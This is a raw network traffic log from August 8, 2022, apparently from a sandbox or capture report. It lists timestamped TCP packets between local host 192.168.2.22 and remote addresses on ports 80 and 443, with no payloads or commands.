Aug 8, 2022 17:18:10.829277992 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.829292059 CEST	49174	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:10.829303980 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.829325914 CEST	49174	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:10.829330921 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.829355001 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.829376936 CEST	49174	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:10.829380035 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.829405069 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.829463959 CEST	49174	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:10.860327005 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.860395908 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.860457897 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.860537052 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.860588074 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.860620975 CEST	49174	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:10.860642910 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.860678911 CEST	49174	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:10.860702038 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.860759020 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.860795975 CEST	49174	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:10.860816002 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.860868931 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.860897064 CEST	49174	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:10.860928059 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.860991001 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.861005068 CEST	49174	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:10.861047983 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.861109972 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.861119032 CEST	49174	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:10.861171007 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.861231089 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.861246109 CEST	49174	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:10.861289024 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.861345053 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.861378908 CEST	49174	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:10.861406088 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.861464977 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.861485958 CEST	49174	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:10.861521006 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.861577034 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.861605883 CEST	49174	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:10.861634970 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.861694098 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.861705065 CEST	49174	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:10.861752987 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.861808062 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.861819983 CEST	49174	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:10.861866951 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.861923933 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.861937046 CEST	49174	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:10.861980915 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.862034082 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.862086058 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.862118959 CEST	49174	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:10.862143040 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.862200975 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.862216949 CEST	49174	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:10.862258911 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.862313986 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.862328053 CEST	49174	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:10.862373114 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.862432003 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.862458944 CEST	49174	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:10.862488031 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.862544060 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.862555981 CEST	49174	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:10.862601995 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.862637043 CEST	49174	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:10.862659931 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.862710953 CEST	49174	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:10.862715006 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.862761974 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.862792969 CEST	49174	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:11.064932108 CEST	49174	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:15.758894920 CEST	49174	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:15.768181086 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:15.768276930 CEST	49174	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:21.392251015 CEST	49175	443	192.168.2.22	149.154.167.220
Aug 8, 2022 17:18:21.392328024 CEST	443	49175	149.154.167.220	192.168.2.22
Aug 8, 2022 17:18:21.392426968 CEST	49175	443	192.168.2.22	149.154.167.220
Aug 8, 2022 17:18:21.410197020 CEST	49175	443	192.168.2.22	149.154.167.220
Aug 8, 2022 17:18:21.410254002 CEST	443	49175	149.154.167.220	192.168.2.22
Aug 8, 2022 17:18:21.483697891 CEST	443	49175	149.154.167.220	192.168.2.22
Aug 8, 2022 17:18:21.483865976 CEST	49175	443	192.168.2.22	149.154.167.220
Aug 8, 2022 17:18:21.491846085 CEST	49175	443	192.168.2.22	149.154.167.220
Aug 8, 2022 17:18:21.491868019 CEST	443	49175	149.154.167.220	192.168.2.22
Aug 8, 2022 17:18:21.492680073 CEST	443	49175	149.154.167.220	192.168.2.22
Aug 8, 2022 17:18:21.699405909 CEST	443	49175	149.154.167.220	192.168.2.22
Aug 8, 2022 17:18:21.699525118 CEST	49175	443	192.168.2.22	149.154.167.220
Aug 8, 2022 17:18:22.117714882 CEST	49175	443	192.168.2.22	149.154.167.220
Aug 8, 2022 17:18:22.145699978 CEST	443	49175	149.154.167.220	192.168.2.22
Aug 8, 2022 17:18:22.151983023 CEST	49175	443	192.168.2.22	149.154.167.220
Aug 8, 2022 17:18:22.195538998 CEST	443	49175	149.154.167.220	192.168.2.22
Aug 8, 2022 17:18:22.580385923 CEST	443	49175	149.154.167.220	192.168.2.22
Aug 8, 2022 17:18:22.580547094 CEST	443	49175	149.154.167.220	192.168.2.22
Aug 8, 2022 17:18:22.580631018 CEST	49175	443	192.168.2.22	149.154.167.220
Aug 8, 2022 17:18:22.581655979 CEST	49175	443	192.168.2.22	149.154.167.220
Aug 8, 2022 17:18:23.669744015 CEST	49176	443	192.168.2.22	149.154.167.220
Aug 8, 2022 17:18:23.669785023 CEST	443	49176	149.154.167.220	192.168.2.22
Aug 8, 2022 17:18:23.669856071 CEST	49176	443	192.168.2.22	149.154.167.220
Aug 8, 2022 17:18:23.670461893 CEST	49176	443	192.168.2.22	149.154.167.220
Aug 8, 2022 17:18:23.670475006 CEST	443	49176	149.154.167.220	192.168.2.22
Aug 8, 2022 17:18:23.728064060 CEST	443	49176	149.154.167.220	192.168.2.22
Aug 8, 2022 17:18:23.742069960 CEST	49176	443	192.168.2.22	149.154.167.220
Aug 8, 2022 17:18:23.742114067 CEST	443	49176	149.154.167.220	192.168.2.22
Aug 8, 2022 17:18:23.787686110 CEST	443	49176	149.154.167.220	192.168.2.22
Aug 8, 2022 17:18:23.790385962 CEST	49176	443	192.168.2.22	149.154.167.220
Aug 8, 2022 17:18:23.790479898 CEST	443	49176	149.154.167.220	192.168.2.22
Aug 8, 2022 17:18:23.790586948 CEST	49176	443	192.168.2.22	149.154.167.220
Aug 8, 2022 17:18:23.790611029 CEST	443	49176	149.154.167.220	192.168.2.22
Aug 8, 2022 17:18:24.180831909 CEST	443	49176	149.154.167.220	192.168.2.22
Aug 8, 2022 17:18:24.180972099 CEST	443	49176	149.154.167.220	192.168.2.22
Aug 8, 2022 17:18:24.181080103 CEST	49176	443	192.168.2.22	149.154.167.220
Aug 8, 2022 17:18:24.191545963 CEST	49176	443	192.168.2.22	149.154.167.220
Aug 8, 2022 17:18:38.095545053 CEST	49177	443	192.168.2.22	162.159.133.233
Aug 8, 2022 17:18:38.095612049 CEST	443	49177	162.159.133.233	192.168.2.22
Aug 8, 2022 17:18:38.095688105 CEST	49177	443	192.168.2.22	162.159.133.233
Aug 8, 2022 17:18:38.103255033 CEST	49177	443	192.168.2.22	162.159.133.233
Aug 8, 2022 17:18:38.103301048 CEST	443	49177	162.159.133.233	192.168.2.22
Aug 8, 2022 17:18:38.144448996 CEST	443	49177	162.159.133.233	192.168.2.22
Aug 8, 2022 17:18:38.144596100 CEST	49177	443	192.168.2.22	162.159.133.233
Aug 8, 2022 17:18:38.155981064 CEST	49177	443	192.168.2.22	162.159.133.233
Aug 8, 2022 17:18:38.156008959 CEST	443	49177	162.159.133.233	192.168.2.22
Aug 8, 2022 17:18:38.156455040 CEST	443	49177	162.159.133.233	192.168.2.22
Aug 8, 2022 17:18:38.363396883 CEST	443	49177	162.159.133.233	192.168.2.22
Aug 8, 2022 17:18:38.363496065 CEST	49177	443	192.168.2.22	162.159.133.233
Aug 8, 2022 17:18:38.673357964 CEST	49177	443	192.168.2.22	162.159.133.233
Aug 8, 2022 17:18:38.706166983 CEST	443	49177	162.159.133.233	192.168.2.22
Aug 8, 2022 17:18:38.706459999 CEST	443	49177	162.159.133.233	192.168.2.22
Aug 8, 2022 17:18:38.706568003 CEST	443	49177	162.159.133.233	192.168.2.22
Aug 8, 2022 17:18:38.706598043 CEST	49177	443	192.168.2.22	162.159.133.233
Aug 8, 2022 17:18:38.706638098 CEST	443	49177	162.159.133.233	192.168.2.22
Aug 8, 2022 17:18:38.706785917 CEST	443	49177	162.159.133.233	192.168.2.22
Aug 8, 2022 17:18:38.706898928 CEST	443	49177	162.159.133.233	192.168.2.22
Aug 8, 2022 17:18:38.706906080 CEST	49177	443	192.168.2.22	162.159.133.233
Aug 8, 2022 17:18:38.706932068 CEST	443	49177	162.159.133.233	192.168.2.22
Aug 8, 2022 17:18:38.706990004 CEST	49177	443	192.168.2.22	162.159.133.233
Aug 8, 2022 17:18:38.707004070 CEST	443	49177	162.159.133.233	192.168.2.22
Aug 8, 2022 17:18:38.707133055 CEST	443	49177	162.159.133.233	192.168.2.22
Aug 8, 2022 17:18:38.707231045 CEST	443	49177	162.159.133.233	192.168.2.22
Aug 8, 2022 17:18:38.707345009 CEST	49177	443	192.168.2.22	162.159.133.233
Aug 8, 2022 17:18:38.707365990 CEST	443	49177	162.159.133.233	192.168.2.22
Aug 8, 2022 17:18:38.707544088 CEST	443	49177	162.159.133.233	192.168.2.22
Aug 8, 2022 17:18:38.707660913 CEST	443	49177	162.159.133.233	192.168.2.22
Aug 8, 2022 17:18:38.707725048 CEST	49177	443	192.168.2.22	162.159.133.233
Aug 8, 2022 17:18:38.707740068 CEST	443	49177	162.159.133.233	192.168.2.22
Aug 8, 2022 17:18:38.707853079 CEST	443	49177	162.159.133.233	192.168.2.22
Aug 8, 2022 17:18:38.707963943 CEST	443	49177	162.159.133.233	192.168.2.22
Aug 8, 2022 17:18:38.708022118 CEST	49177	443	192.168.2.22	162.159.133.233
Aug 8, 2022 17:18:38.708033085 CEST	443	49177	162.159.133.233	192.168.2.22
Aug 8, 2022 17:18:38.708148003 CEST	443	49177	162.159.133.233	192.168.2.22
Aug 8, 2022 17:18:38.708247900 CEST	443	49177	162.159.133.233	192.168.2.22
Aug 8, 2022 17:18:38.708306074 CEST	49177	443	192.168.2.22	162.159.133.233
Aug 8, 2022 17:18:38.708319902 CEST	443	49177	162.159.133.233	192.168.2.22
Aug 8, 2022 17:18:38.708430052 CEST	443	49177	162.159.133.233	192.168.2.22
Aug 8, 2022 17:18:38.708532095 CEST	443	49177	162.159.133.233	192.168.2.22
Aug 8, 2022 17:18:38.708606005 CEST	49177	443	192.168.2.22	162.159.133.233
Aug 8, 2022 17:18:38.708623886 CEST	443	49177	162.159.133.233	192.168.2.22
Aug 8, 2022 17:18:38.708724022 CEST	443	49177	162.159.133.233	192.168.2.22
Aug 8, 2022 17:18:38.708832979 CEST	443	49177	162.159.133.233	192.168.2.22
Aug 8, 2022 17:18:38.708935976 CEST	443	49177	162.159.133.233	192.168.2.22
Aug 8, 2022 17:18:38.708955050 CEST	49177	443	192.168.2.22	162.159.133.233
Aug 8, 2022 17:18:38.708972931 CEST	443	49177	162.159.133.233	192.168.2.22
Aug 8, 2022 17:18:38.709115982 CEST	443	49177	162.159.133.233	192.168.2.22
Aug 8, 2022 17:18:38.709177971 CEST	49177	443	192.168.2.22	162.159.133.233
Aug 8, 2022 17:18:38.709188938 CEST	443	49177	162.159.133.233	192.168.2.22
Aug 8, 2022 17:18:38.709314108 CEST	443	49177	162.159.133.233	192.168.2.22
Aug 8, 2022 17:18:38.709407091 CEST	49177	443	192.168.2.22	162.159.133.233
Aug 8, 2022 17:18:38.709420919 CEST	443	49177	162.159.133.233	192.168.2.22
Aug 8, 2022 17:18:38.709554911 CEST	443	49177	162.159.133.233	192.168.2.22
Aug 8, 2022 17:18:38.709691048 CEST	49177	443	192.168.2.22	162.159.133.233
Aug 8, 2022 17:18:38.709712982 CEST	443	49177	162.159.133.233	192.168.2.22
Aug 8, 2022 17:18:38.709738016 CEST	443	49177	162.159.133.233	192.168.2.22
Aug 8, 2022 17:18:38.709793091 CEST	49177	443	192.168.2.22	162.159.133.233
Aug 8, 2022 17:18:38.709841967 CEST	443	49177	162.159.133.233	192.168.2.22
Aug 8, 2022 17:18:38.710086107 CEST	443	49177	162.159.133.233	192.168.2.22
Aug 8, 2022 17:18:38.710154057 CEST	49177	443	192.168.2.22	162.159.133.233
Aug 8, 2022 17:18:38.710167885 CEST	443	49177	162.159.133.233	192.168.2.22
Aug 8, 2022 17:18:38.710287094 CEST	443	49177	162.159.133.233	192.168.2.22
Aug 8, 2022 17:18:38.710344076 CEST	49177	443	192.168.2.22	162.159.133.233
Aug 8, 2022 17:18:38.710362911 CEST	443	49177	162.159.133.233	192.168.2.22
Aug 8, 2022 17:18:38.710469007 CEST	443	49177	162.159.133.233	192.168.2.22
Aug 8, 2022 17:18:38.710561037 CEST	49177	443	192.168.2.22	162.159.133.233
Aug 8, 2022 17:18:38.710582972 CEST	443	49177	162.159.133.233	192.168.2.22
Aug 8, 2022 17:18:38.710607052 CEST	443	49177	162.159.133.233	192.168.2.22
Aug 8, 2022 17:18:38.710705042 CEST	49177	443	192.168.2.22	162.159.133.233
Aug 8, 2022 17:18:38.710716963 CEST	443	49177	162.159.133.233	192.168.2.22
Aug 8, 2022 17:18:38.710738897 CEST	443	49177	162.159.133.233	192.168.2.22
Aug 8, 2022 17:18:38.710779905 CEST	49177	443	192.168.2.22	162.159.133.233
Aug 8, 2022 17:18:38.710875034 CEST	443	49177	162.159.133.233	192.168.2.22
Aug 8, 2022 17:18:38.710942984 CEST	49177	443	192.168.2.22	162.159.133.233
Aug 8, 2022 17:18:38.719491959 CEST	49177	443	192.168.2.22	162.159.133.233
Aug 8, 2022 17:18:38.719866037 CEST	49177	443	192.168.2.22	162.159.133.233
Aug 8, 2022 17:18:38.727031946 CEST	49177	443	192.168.2.22	162.159.133.233
Aug 8, 2022 17:18:38.728734016 CEST	49178	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:38.759819031 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.760019064 CEST	49178	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:38.760584116 CEST	49178	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:38.791713953 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.791793108 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.791857958 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.791912079 CEST	49178	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:38.791915894 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.791975975 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.791992903 CEST	49178	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:38.792037010 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.792093039 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.792095900 CEST	49178	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:38.792151928 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.792206049 CEST	49178	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:38.792210102 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.792268038 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.792727947 CEST	49178	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:38.820405960 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.820463896 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.820506096 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.820548058 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.820586920 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.820586920 CEST	49178	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:38.820635080 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.820647955 CEST	49178	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:38.820686102 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.820748091 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.820791006 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.820823908 CEST	49178	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:38.820832968 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.820877075 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.820919037 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.820950031 CEST	49178	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:38.820959091 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.821000099 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.821022987 CEST	49178	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:38.821041107 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.821079016 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.821119070 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.821151972 CEST	49178	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:38.821160078 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.821197987 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.821218014 CEST	49178	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:38.821238995 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.824913025 CEST	49178	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:38.857498884 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.857547045 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.857578993 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.857606888 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.857610941 CEST	49178	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:38.857630014 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.857652903 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.857677937 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.857683897 CEST	49178	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:38.857701063 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.857707024 CEST	49178	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:38.857733011 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.857750893 CEST	49178	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:38.857764006 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.857794046 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.857819080 CEST	49178	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:38.857825994 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.857855082 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.857876062 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.857898951 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.857916117 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.857938051 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.857968092 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.857966900 CEST	49178	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:38.857985973 CEST	49178	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:38.857990026 CEST	49178	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:38.857990980 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.858014107 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.858035088 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.858045101 CEST	49178	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:38.858057976 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.858079910 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.858083010 CEST	49178	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:38.858100891 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.858124018 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.858140945 CEST	49178	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:38.858146906 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.858167887 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.858175993 CEST	49178	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:38.858191013 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.858213902 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.858213902 CEST	49178	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:38.858236074 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.858258009 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.858279943 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.858284950 CEST	49178	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:38.858302116 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.858325958 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.858346939 CEST	49178	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:38.858350992 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.858381987 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.858408928 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.858439922 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.858462095 CEST	49178	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:38.858474016 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.858489037 CEST	49178	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:38.858505964 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.858583927 CEST	49178	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:38.890187025 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.890233040 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.890264988 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.890290022 CEST	49178	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:38.890309095 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.890330076 CEST	49178	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:38.890345097 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.890374899 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.890403986 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.890413046 CEST	49178	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:38.890433073 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.890461922 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.890471935 CEST	49178	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:38.890491962 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.890521049 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.890530109 CEST	49178	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:38.890548944 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.890578032 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.890580893 CEST	49178	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:38.890604973 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.890633106 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.890646935 CEST	49178	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:38.890672922 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.890701056 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.890728951 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.890741110 CEST	49178	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:38.890757084 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.890789032 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.890794992 CEST	49178	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:38.890819073 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.890846968 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.890856981 CEST	49178	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:38.890876055 CEST	80	49178	109.206.241.81	192.168.2.22
